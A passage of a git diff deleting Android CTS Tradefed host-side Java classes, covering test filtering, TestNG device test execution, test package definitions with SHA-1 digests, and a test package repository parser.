-import java.util.regex.Pattern;
-
-/**
- * Filter for {@link TestIdentifier}s.
- */
-public class TestFilter {
-
-    private final Set<String> mExcludedClasses;
-    private final Set<TestIdentifier> mExcludedTests;
-
-    private final Set<String> mIncludedClasses;
-    private final Set<TestIdentifier> mIncludedTests;
-
-    private String mIncludedClass = null;
-    private Pattern mIncludedMethod = null;
-
-    /**
-     * Creates a {@link TestFilter}
-     */
-    public TestFilter() {
-        mExcludedClasses = new HashSet<String>();
-        mExcludedTests = new HashSet<TestIdentifier>();
-
-        mIncludedClasses = new HashSet<String>();
-        mIncludedTests = new HashSet<TestIdentifier>();
-    }
-
-    /**
-     * Adds a test class to the filter.
-     * <p/>
-     * All tests in this class should be filtered.
-     */
-    public void addExcludedClass(String className) {
-        mExcludedClasses.add(className);
-    }
-
-    /**
-     * Adds a test class to the filter. All tests in this class should be excluded.
-     */
-    public void addExcludedTest(TestIdentifier test) {
-        mExcludedTests.add(test);
-    }
-
-    /**
-     * Get the test classes to exclude.
-     * <p/>
-     * Exposed for unit testing
-     */
-    Set<String> getExcludedClasses() {
-        return mExcludedClasses;
-    }
-
-    /**
-     * Get the tests to exclude.
-     * <p/>
-     * Exposed for unit testing
-     */
-    Set<TestIdentifier> getExcludedTests() {
-        return mExcludedTests;
-    }
-
-    /**
-     * Adds a test class to the filter.
-     * <p/>
-     * All tests in this class should be allowed.
-     */
-    public void addIncludedClass(String className) {
-        mIncludedClasses.add(className);
-    }
-
-    /**
-     * Adds a test class to the filter. All tests in this class should be excluded.
-     */
-    public void addIncludedTest(TestIdentifier test) {
-        mIncludedTests.add(test);
-    }
-
-    /**
-     * @return the mIncludedClasses
-     */
-    public Set<String> getIncludedClasses() {
-        return mIncludedClasses;
-    }
-
-    /**
-     * @return the mIncludedTests
-     */
-    public Set<TestIdentifier> getIncludedTests() {
-        return mIncludedTests;
-    }
-
-    /**
-     * Sets the class name and optionally method that should pass this filter. If non-null, all
-     * other tests will be excluded.
-     *
-     * @param className the test class name to exclusively include
-     * @param method the test method name to exclusively include
-     */
-    public void setTestInclusion(String className, String method) {
-        mIncludedClass = className;
-        if (method != null) {
-            mIncludedMethod = Pattern.compile(method);
-        }
-    }
-
-    /**
-     * Filter the list of tests based on rules in this filter
-     *
-     * @param tests the list of tests to filter
-     * @return a new sorted list of tests that passed the filter
-     */
-    public Collection<TestIdentifier> filter(Collection<TestIdentifier> tests) {
-        List<TestIdentifier> filteredTests = new ArrayList<TestIdentifier>(tests.size());
-        for (TestIdentifier test : tests) {
-            if (mIncludedClass != null && !test.getClassName().equals(mIncludedClass)) {
-                // skip
-                continue;
-            }
-            if (mIncludedMethod != null && !mIncludedMethod.matcher(test.getTestName()).matches()) {
-                // skip
-                continue;
-            }
-            if (mExcludedClasses.contains(test.getClassName())) {
-                // skip
-                continue;
-            }
-            if (mExcludedTests.contains(test)) {
-                // skip
-                continue;
-            }
-            if ((!mIncludedTests.isEmpty() || !mIncludedClasses.isEmpty())
-                    && !(mIncludedClasses.contains(test.getClassName())
-                            || mIncludedTests.contains(test))) {
-                // skip
-                continue;
-            }
-            filteredTests.add(test);
-        }
-        Collections.sort(filteredTests, new TestIdComparator());
-        return filteredTests;
-    }
-
-    /**
-     * Return true if there are exclusions rules defined.
-     */
-    public boolean hasExclusion() {
-        return !mExcludedClasses.isEmpty() || !mExcludedTests.isEmpty();
-    }
-
-    /**
-     * @return true if there are inclusion rules defined.
-     */
-    public boolean hasInclusion() {
-        return !mIncludedClasses.isEmpty() || !mIncludedTests.isEmpty();
-    }
-
-    /**
-     * A {@link Comparator} for {@link TestIdentifier} that compares using
-     * {@link TestIdentifier#toString()}
-     */
-    private class TestIdComparator implements Comparator<TestIdentifier> {
-
-        @Override
-        public int compare(TestIdentifier o1, TestIdentifier o2) {
-            return o1.toString().compareTo(o2.toString());
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestNGDeviceTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestNGDeviceTest.java
deleted file mode 100644
index 377c0c0..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestNGDeviceTest.java
+++ /dev/null
@@ -1,231 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.ArrayUtil;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-/**
- * {@code Test} for running CTS TestNG tests on the device.
- */
-public class TestNGDeviceTest implements IDeviceTest, IRemoteTest, IBuildReceiver {
-
-    private static final String TMP_DIR = "/data/local/tmp/";
-
-    @Option(name = "testng-device-runtime",
-            description = "The name of the runtime to use on the device",
-            importance = Importance.ALWAYS)
-    private String mRuntimePath = "dalvikvm|#ABI#|";
-
-    @Option(name = "testng-device-tmpdir", description = "Device path where to store the test jars."
-            , importance = Importance.IF_UNSET)
-    private String mDeviceTestTmpPath = TMP_DIR;
-
-
-    // default to no timeout
-    private long mMaxTimeToOutputResponse = 0;
-
-    private ITestDevice mDevice;
-    private String mRunName;
-    private Collection<TestIdentifier> mTests;
-    private CtsBuildHelper mCtsBuild = null;
-
-    private List<String> mJarPaths = new ArrayList<String>();
-
-    private String mRuntimeArgs;
-
-    private IAbi mAbi;
-
-    private static final String TESTNG_JAR = "cts-testng.jar";
-
-    private Set<String> mTestJars = new HashSet<String>(Arrays.asList(TESTNG_JAR));
-
-    /**
-     * @param abi The ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    public void addTestJarFileName(String jarFileName) {
-        mTestJars.add(jarFileName);
-    }
-
-    public void setRunName(String runName) {
-        mRunName = runName;
-    }
-
-    public void setTests(Collection<TestIdentifier> tests) {
-        mTests = tests;
-    }
-
-    public Collection<TestIdentifier> getTests() {
-        return mTests;
-    }
-
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        addTestJarFileName(TESTNG_JAR);
-        checkFields();
-        long startTime = System.currentTimeMillis();
-        listener.testRunStarted(mRunName, mTests.size());
-        try {
-            installJars();
-            String jarPath = ArrayUtil.join(":", mJarPaths);
-            for (TestIdentifier testId : mTests) {
-                SingleJUnitTestResultParser resultParser = new SingleJUnitTestResultParser(
-                        testId, listener);
-                String cmdLine = String.format("ANDROID_DATA=%s %s -cp %s %s " +
-                        "com.android.cts.testng.SingleTestNGTestRunner %s#%s",
-                        mDeviceTestTmpPath, mRuntimePath, jarPath, getRuntimeArgsNotNull(),
-                        testId.getClassName(), testId.getTestName());
-                String cmd = AbiFormatter.formatCmdForAbi(cmdLine, mAbi.getBitness());
-                CLog.d("Running %s", cmd);
-                listener.testStarted(testId);
-                mDevice.executeShellCommand(cmd, resultParser, mMaxTimeToOutputResponse,
-                        TimeUnit.MILLISECONDS, 0);
-            }
-        } finally {
-            listener.testRunEnded(System.currentTimeMillis() - startTime,
-                    Collections.<String, String> emptyMap());
-            // Remove jar files from device
-            removeJars();
-        }
-    }
-
-    /**
-     * Installs the jar files on the device under test.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    protected void installJars() throws DeviceNotAvailableException {
-        for (String f : mTestJars) {
-            CLog.d("Installing %s on %s", f, getDevice().getSerialNumber());
-            File jarFile;
-            try {
-                String fullJarPath = String.format("%s%s", mDeviceTestTmpPath, f);
-                jarFile = mCtsBuild.getTestApp(f);
-                boolean result = getDevice().pushFile(jarFile, fullJarPath);
-                if (!result) {
-                    throw new AssertionError(String.format("Failed to push file to %s", fullJarPath));
-                }
-                mJarPaths.add(fullJarPath);
-            } catch (FileNotFoundException e) {
-                throw new AssertionError(String.format("Could not find file %s", f));
-            }
-        }
-    }
-
-    /**
-     * Cleans up the jar files from the device under test.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    protected void removeJars() throws DeviceNotAvailableException {
-        for (String f : mTestJars) {
-            String fullJarPath = String.format("%s%s", mDeviceTestTmpPath, f);
-            CLog.d("Uninstalling %s on %s", fullJarPath, getDevice().getSerialNumber());
-            getDevice().executeShellCommand(String.format("rm %s", fullJarPath));
-        }
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    /**
-     * Checks that all mandatory member fields has been set.
-     */
-    protected void checkFields() {
-        if (mRunName == null) {
-            throw new IllegalArgumentException("run name has not been set");
-        }
-        if (mDevice == null) {
-            throw new IllegalArgumentException("Device has not been set");
-        }
-        if (mTestJars.isEmpty()) {
-            throw new IllegalArgumentException("No test jar has been set");
-        }
-        if (mTests == null) {
-            throw new IllegalArgumentException("tests has not been set");
-        }
-        if (mCtsBuild == null) {
-            throw new IllegalArgumentException("build has not been set");
-        }
-        for (String f : mTestJars) {
-            try {
-
-                mCtsBuild.getTestApp(f);
-            } catch (FileNotFoundException e) {
-                throw new IllegalArgumentException(String.format(
-                        "Could not find jar %s in CTS build %s", f,
-                        mCtsBuild.getRootDir().getAbsolutePath()));
-            }
-        }
-    }
-
-    /**
-     * Add runtime arguments to run the tests with.
-     *
-     * @param mRunTimeArgs
-     */
-    public void addRunTimeArgs(String mRunTimeArgs) {
-        mRuntimeArgs = mRunTimeArgs;
-    }
-
-    private String getRuntimeArgsNotNull() {
-      if (mRuntimeArgs == null) {
-        return "";
-      }
-      return mRuntimeArgs;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageDef.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageDef.java
deleted file mode 100644
index 9478900..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageDef.java
+++ /dev/null
@@ -1,454 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.InstrumentationTest;
-import com.android.tradefed.util.StreamUtil;
-
-import java.io.BufferedInputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.security.DigestInputStream;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Collection;
-import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Container for CTS test info.
- * <p/>
- * Knows how to translate this info into a runnable {@link IRemoteTest}.
- */
-class TestPackageDef implements ITestPackageDef {
-
-    public static final String HOST_SIDE_ONLY_TEST = "hostSideOnly";
-    public static final String NATIVE_TEST = "native";
-    public static final String WRAPPED_NATIVE_TEST = "wrappednative";
-    public static final String VM_HOST_TEST = "vmHostTest";
-    public static final String DEQP_TEST = "deqpTest";
-    public static final String JUNIT_DEVICE_TEST = "jUnitDeviceTest";
-    public static final String TESTNG_DEVICE_TEST = "testNGDeviceTest";
-
-    private String mAppPackageName = null;
-    private String mAppNameSpace = null;
-    private String mName = null;
-    private String mRunner = null;
-    private String mTestType = null;
-    private String mJarPath = null;
-    private String mRunTimeArgs = null;
-    private String mTestPackageName = null;
-    private String mDigest = null;
-    private IAbi mAbi = null;
-    private List<ITargetPreparer> mPreparers = null;
-
-    // use a LinkedHashSet for predictable iteration insertion-order, and fast
-    // lookups
-    private Collection<TestIdentifier> mTests = new LinkedHashSet<TestIdentifier>();
-    // also maintain an index of known test classes
-    private Collection<String> mTestClasses = new LinkedHashSet<String>();
-    // store instance arguments in order too for consistency
-    private Map<TestIdentifier, List<Map<String, String>>> mTestInstanceArguments =
-            new LinkedHashMap<>();
-
-    // dynamic options, not parsed from package xml
-    private String mClassName;
-    private String mMethodName;
-    private TestFilter mTestFilter = new TestFilter();
-    private String mTargetBinaryName;
-    private String mTargetNameSpace;
-    // only timeout per package is supported. To change this to method granularity,
-    // test invocation should be done in method level.
-    // So for now, only max timeout for the package is used.
-    private int mTimeoutInMins = -1;
-
-    @Override
-    public IAbi getAbi() {
-        return mAbi;
-    }
-
-    /**
-     * @param abi the ABI to run this package on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    /**
-     * @return unique id representing this test package for this ABI.
-     */
-    @Override
-    public String getId() {
-        return AbiUtils.createId(getAbi().getName(), getAppPackageName());
-    }
-
-    void setAppPackageName(String appPackageName) {
-        mAppPackageName = appPackageName;
-    }
-
-    String getAppPackageName() {
-        return mAppPackageName;
-    }
-
-    void setRunTimeArgs(String runTimeArgs) {
-        mRunTimeArgs = runTimeArgs;
-    }
-
-    void setAppNameSpace(String appNameSpace) {
-        mAppNameSpace = appNameSpace;
-    }
-
-    String getAppNameSpace() {
-        return mAppNameSpace;
-    }
-
-    void setName(String name) {
-        mName = name;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getName() {
-        return mName;
-    }
-
-    void setRunner(String runnerName) {
-        mRunner = runnerName;
-    }
-
-    String getRunner() {
-        return mRunner;
-    }
-
-    void setTestType(String testType) {
-        mTestType = testType;
-    }
-
-    String getTestType() {
-        return mTestType;
-    }
-
-    void setJarPath(String jarPath) {
-        mJarPath = jarPath;
-    }
-
-    String getJarPath() {
-        return mJarPath;
-    }
-
-    void setTestPackageName(String testPackageName) {
-        mTestPackageName = testPackageName;
-    }
-
-    void setTargetBinaryName(String targetBinaryName) {
-        mTargetBinaryName = targetBinaryName;
-    }
-
-    void setTargetNameSpace(String targetNameSpace) {
-        mTargetNameSpace = targetNameSpace;
-    }
-
-    @Override
-    public String getTargetApkName() {
-       if (mTargetBinaryName != null && !mTargetBinaryName.isEmpty()) {
-           return String.format("%s.apk", mTargetBinaryName);
-       }
-       return null;
-    }
-
-    @Override
-    public String getTargetPackageName() {
-        if (mTargetNameSpace != null && mTargetNameSpace.isEmpty()) {
-            return null;
-        }
-        return mTargetNameSpace;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setTestFilter(TestFilter testFilter) {
-        mTestFilter = testFilter;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setClassName(String className, String methodName) {
-        mClassName = className;
-        mMethodName = methodName;
-    }
-
-    /**
-     * Setter for injecting a list of {@link ITargetPreparer}s as configured in module test config.
-     * @param preparers
-     */
-    void setPackagePreparers(List<ITargetPreparer> preparers) {
-        mPreparers = preparers;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<ITargetPreparer> getPackagePreparers() {
-        return mPreparers;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public IRemoteTest createTest(File testCaseDir) {
-        mTestFilter.setTestInclusion(mClassName, mMethodName);
-        mTests = filterTests();
-
-        if (HOST_SIDE_ONLY_TEST.equals(mTestType)) {
-            CLog.d("Creating host test for %s", mName);
-            JarHostTest hostTest = new JarHostTest();
-            if (mTimeoutInMins >= 0) {
-                CLog.d("Setting new timeout to " + mTimeoutInMins + " mins");
-                hostTest.setTimeout(mTimeoutInMins * 60 * 1000);
-            }
-            hostTest.setRunName(getId());
-            hostTest.setJarFileName(mJarPath);
-            hostTest.setTests(mTests);
-            hostTest.setAbi(mAbi);
-            mDigest = generateDigest(testCaseDir, mJarPath);
-            return hostTest;
-        } else if (VM_HOST_TEST.equals(mTestType)) {
-            CLog.d("Creating vm host test for %s", mName);
-            VMHostTest vmHostTest = new VMHostTest();
-            vmHostTest.setRunName(getId());
-            vmHostTest.setJarFileName(mJarPath);
-            vmHostTest.setTests(mTests);
-            vmHostTest.setAbi(mAbi);
-            mDigest = generateDigest(testCaseDir, mJarPath);
-            return vmHostTest;
-        } else if (DEQP_TEST.equals(mTestType)) {
-            DeqpTestRunner deqpTest =
-                    new DeqpTestRunner(mAppPackageName, mName, mTests, mTestInstanceArguments);
-            deqpTest.setAbi(mAbi);
-            return deqpTest;
-        } else if (NATIVE_TEST.equals(mTestType)) {
-            GeeTest geeTest = new GeeTest(mAppPackageName, mName);
-            geeTest.setAbi(mAbi);
-            return geeTest;
-        } else if (WRAPPED_NATIVE_TEST.equals(mTestType)) {
-            CLog.d("Creating new wrapped native test for %s", mName);
-            WrappedGTest wrappedGeeTest = new WrappedGTest(mAppNameSpace, mAppPackageName, mName, mRunner);
-            wrappedGeeTest.setAbi(mAbi);
-            return wrappedGeeTest;
-        } else if (JUNIT_DEVICE_TEST.equals(mTestType)){
-            CLog.d("Creating JUnit device test %s", mName);
-            JUnitDeviceTest jUnitDeviceTest = new JUnitDeviceTest();
-            jUnitDeviceTest.setRunName(getId());
-            jUnitDeviceTest.addTestJarFileName(mJarPath);
-            jUnitDeviceTest.addRunTimeArgs(mRunTimeArgs);
-            jUnitDeviceTest.setTests(mTests);
-            jUnitDeviceTest.setAbi(mAbi);
-            mDigest = generateDigest(testCaseDir, mJarPath);
-            return jUnitDeviceTest;
-        } else if (TESTNG_DEVICE_TEST.equals(mTestType)){
-            CLog.d("Creating TestNG device test %s", mName);
-            TestNGDeviceTest testNGDeviceTest = new TestNGDeviceTest();
-            testNGDeviceTest.setRunName(getId());
-            testNGDeviceTest.addTestJarFileName(mJarPath);
-            testNGDeviceTest.addRunTimeArgs(mRunTimeArgs);
-            testNGDeviceTest.setTests(mTests);
-            testNGDeviceTest.setAbi(mAbi);
-            mDigest = generateDigest(testCaseDir, mJarPath);
-            return testNGDeviceTest;
-        }
-        else {
-            CLog.d("Creating instrumentation test for %s", mName);
-            CtsInstrumentationApkTest instrTest = new CtsInstrumentationApkTest();
-            if (mTimeoutInMins >= 0) {
-                // as timeout cannot be set for each test,
-                // increase the time-out of the whole package
-                CLog.d("Setting new timeout to " + mTimeoutInMins + " mins");
-                instrTest.setTestTimeout(mTimeoutInMins * 60 * 1000);
-            }
-            return setInstrumentationTest(instrTest, testCaseDir);
-        }
-    }
-
-    /**
-     * Populates given {@link CtsInstrumentationApkTest} with data from the package xml.
-     *
-     * @param testCaseDir
-     * @param instrTest
-     * @return the populated {@link InstrumentationTest} or <code>null</code>
-     */
-    private InstrumentationTest setInstrumentationTest(CtsInstrumentationApkTest instrTest,
-            File testCaseDir) {
-        instrTest.setRunName(getId());
-        instrTest.setPackageName(mAppNameSpace);
-        instrTest.setRunnerName(mRunner);
-        instrTest.setAbi(mAbi);
-        instrTest.setTestsToRun(mTests, false
-            /* force batch mode off to always run using testFile */);
-        instrTest.setReRunUsingTestFile(true);
-        // mName means 'apk file name' for instrumentation tests
-        instrTest.addInstallApk(String.format("%s.apk", mName), mAppNameSpace);
-        mDigest = generateDigest(testCaseDir, String.format("%s.apk", mName));
-        return instrTest;
-    }
-
-    /**
-     * Filter the tests to run based on list of included/excluded tests, class and method name.
-     *
-     * @return the filtered collection of tests
-     */
-    private Collection<TestIdentifier> filterTests() {
-        mTestFilter.setTestInclusion(mClassName, mMethodName);
-        return mTestFilter.filter(mTests);
-    }
-
-    boolean isKnownTestClass(String className) {
-        return mTestClasses.contains(className);
-    }
-
-    /**
-     * Add a {@link TestIdentifier} to the list of tests in this package.
-     *
-     * @param testDef
-     * @param timeout in mins
-     */
-    void addTest(TestIdentifier testDef, int timeout) {
-        mTests.add(testDef);
-        mTestClasses.add(testDef.getClassName());
-        mTestInstanceArguments.put(testDef, new LinkedList<Map<String, String>>());
-        // 0 means no timeout, so keep 0 if already is.
-        if ((timeout > mTimeoutInMins) && (mTimeoutInMins != 0)) {
-            mTimeoutInMins = timeout;
-        }
-    }
-
-    /**
-     * Add a test instance to an existing {@link TestIdentifier}.
-     */
-    void addTestInstance(TestIdentifier testDef, Map<String, String> instanceArguments) {
-        if (!mTestInstanceArguments.containsKey(testDef)) {
-            throw new IllegalStateException("test id does not name an existing test");
-        }
-        mTestInstanceArguments.get(testDef).add(instanceArguments);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Collection<TestIdentifier> getTests() {
-        return mTests;
-    }
-
-    /**
-     * Get the instance argument map for tests.
-     * <p/>
-     * Exposed for unit testing.
-     */
-    public Map<TestIdentifier, List<Map<String, String>>> getTestInstanceArguments() {
-        return mTestInstanceArguments;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getDigest() {
-        return mDigest;
-    }
-
-    /**
-     * Generate a sha1sum digest for a file.
-     * <p/>
-     * Exposed for unit testing.
-     *
-     * @param fileDir the directory of the file
-     * @param fileName the name of the file
-     * @return a hex {@link String} of the digest
-     */
-    String generateDigest(File fileDir, String fileName) {
-        final String algorithm = "SHA-1";
-        InputStream fileStream = null;
-        DigestInputStream d = null;
-        try {
-            fileStream = getFileStream(fileDir, fileName);
-            MessageDigest md = MessageDigest.getInstance(algorithm);
-            d = new DigestInputStream(fileStream, md);
-            byte[] buffer = new byte[8196];
-            while (d.read(buffer) != -1) {
-            }
-            return toHexString(md.digest());
-        } catch (NoSuchAlgorithmException e) {
-            return algorithm + " not found";
-        } catch (IOException e) {
-            CLog.e(e);
-        } finally {
-            StreamUtil.close(d);
-            StreamUtil.close(fileStream);
-        }
-        return "failed to generate digest";
-    }
-
-    /**
-     * Retrieve an input stream for given file
-     * <p/>
-     * Exposed so unit tests can mock.
-     */
-    InputStream getFileStream(File fileDir, String fileName) throws FileNotFoundException {
-        InputStream fileStream;
-        fileStream = new BufferedInputStream(new FileInputStream(new File(fileDir, fileName)));
-        return fileStream;
-    }
-
-    /**
-     * Convert the given byte array into a lowercase hex string.
-     *
-     * @param arr The array to convert.
-     * @return The hex encoded string.
-     */
-    private String toHexString(byte[] arr) {
-        StringBuilder buf = new StringBuilder(arr.length * 2);
-        for (byte b : arr) {
-            buf.append(String.format("%02x", b & 0xFF));
-        }
-        return buf.toString();
-    }
-
-    @Override
-    public int compareTo(ITestPackageDef testPackageDef) {
-        return getId().compareTo(testPackageDef.getId());
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageRepo.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageRepo.java
deleted file mode 100644
index 9857105b..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageRepo.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.Log;
-import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.config.ConfigurationFactory;
-import com.android.tradefed.config.IConfiguration;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import java.io.BufferedInputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.FilenameFilter;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Retrieves CTS test package definitions from the repository.
- */
-public class TestPackageRepo implements ITestPackageRepo {
-
-    private static final String LOG_TAG = "TestCaseRepo";
-
-    /** mapping of ABI to a mapping of appPackageName to test definition */
-    private final Map<String, Map<String, TestPackageDef>> mTestMap;
-    private final boolean mIncludeKnownFailures;
-
-    /**
-     * Creates a {@link TestPackageRepo}, initialized from provided repo files
-     *
-     * @param testCaseDir directory containing all test case definition xml and build files
-     * ABIs supported by the device under test.
-     * @param includeKnownFailures Whether to run tests which are known to fail.
-     */
-    public TestPackageRepo(File testCaseDir, boolean includeKnownFailures) {
-        mTestMap = new HashMap<>();
-        mIncludeKnownFailures = includeKnownFailures;
-        parse(testCaseDir);
-    }
-
-    /**
-     * Builds mTestMap based on directory contents
-     */
-    private void parse(File dir) {
-        File[] xmlFiles = dir.listFiles(new XmlFilter());
-        for (File xmlFile : xmlFiles) {
-            parseModuleTestConfigs(xmlFile);
-        }
-    }
-
-    /**
-     * Infer package preparer config from package XML definition file and return if exists
-     * @param pkgXml {@link File} instance referencing the package XML definition
-     * @return the matching package preparer if exists, <code>null</code> otherwise
-     */
-    private File getPreparerDefForPackage(File pkgXml) {
-        String fullPath = pkgXml.getAbsolutePath();
-        int lastDot = fullPath.lastIndexOf('.');
-        if (lastDot == -1) {
-            // huh?
-            return null;
-        }
-        File preparer = new File(fullPath.substring(0, lastDot) + ".config");
-        if (preparer.exists()) {
-            return preparer;
-        }
-        return null;
-    }
-
-    /**
-     * Processes test module definition XML file, and stores parsed data structure in class member
-     * variable. Parsed config objects will be associated with each applicable ABI type so multiple
-     * {@link TestPackageDef}s will be generated accordingly. In addition, based on
-     * &lt;module name&gt;.config file naming convention, this method also looks for the optional
-     * module test config, and attaches defined configuration objects to the {@link TestPackageDef}
-     * representing the module accordingly.
-     * @param xmlFile the module definition XML
-     */
-    private void parseModuleTestConfigs(File xmlFile)  {
-        TestPackageXmlParser parser = new TestPackageXmlParser(mIncludeKnownFailures);
-        try {
-            parser.parse(createStreamFromFile(xmlFile));
-            // based on test module XML file path, and the <module name>.config naming convention,
-            // infers the module test config file, and parses it
-            File preparer = getPreparerDefForPackage(xmlFile);
-            IConfiguration config = null;
-            if (preparer != null) {
-                try {
-                    // invokes parser to process the test module config file
-                    config = ConfigurationFactory.getInstance().createConfigurationFromArgs(
-                            new String[]{preparer.getAbsolutePath()});
-                } catch (ConfigurationException e) {
-                    throw new RuntimeException(
-                            String.format("error parsing config file: %s", xmlFile.getName()), e);
-                }
-            }
-            Set<TestPackageDef> defs = parser.getTestPackageDefs();
-            if (defs.isEmpty()) {
-                Log.w(LOG_TAG, String.format("Could not find test package info in xml file %s",
-                        xmlFile.getAbsolutePath()));
-            }
-            // loops over multiple package defs defined for each ABI type
-            for (TestPackageDef def : defs) {
-                String name = def.getAppPackageName();
-                String abi = def.getAbi().getName();
-                if (config != null) {
-                    def.setPackagePreparers(config.getTargetPreparers());
-                }
-                if (!mTestMap.containsKey(abi)) {
-                    mTestMap.put(abi, new HashMap<String, TestPackageDef>());
-                }
-                mTestMap.get(abi).put(name, def);
-            }
-        } catch (FileNotFoundException e) {
-            Log.e(LOG_TAG, String.format("Could not find test case xml file %s",
-                    xmlFile.getAbsolutePath()));
-            Log.e(LOG_TAG, e);
-        } catch (ParseException e) {
-            Log.e(LOG_TAG, String.format("Failed to parse test case xml file %s",
-                    xmlFile.getAbsolutePath()));
-            Log.e(LOG_TAG, e);
-        }
-    }
-
-    /**
-     * Helper method to create a stream to read data from given file
-     * <p/>
-     * Exposed for unit testing
-     *
-     * @param xmlFile The file containing the xml description of the package
-     * @return stream to read data
-     *
-     */
-    InputStream createStreamFromFile(File xmlFile) throws FileNotFoundException {
-        return new BufferedInputStream(new FileInputStream(xmlFile));
-    }
-
-    private static class XmlFilter implements FilenameFilter {
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean accept(File dir, String name) {
-            return name.endsWith(".xml");
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public ITestPackageDef getTestPackage(String id) {
-        String[] parts = AbiUtils.parseId(id);
-        String abi = parts[0];
-        String name = parts[1];
-        if (mTestMap.containsKey(abi) && mTestMap.get(abi).containsKey(name)) {
-            return mTestMap.get(abi).get(name);
-        }
-        return null;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<String> getPackageIds() {
-        Set<String> ids = new HashSet<>();
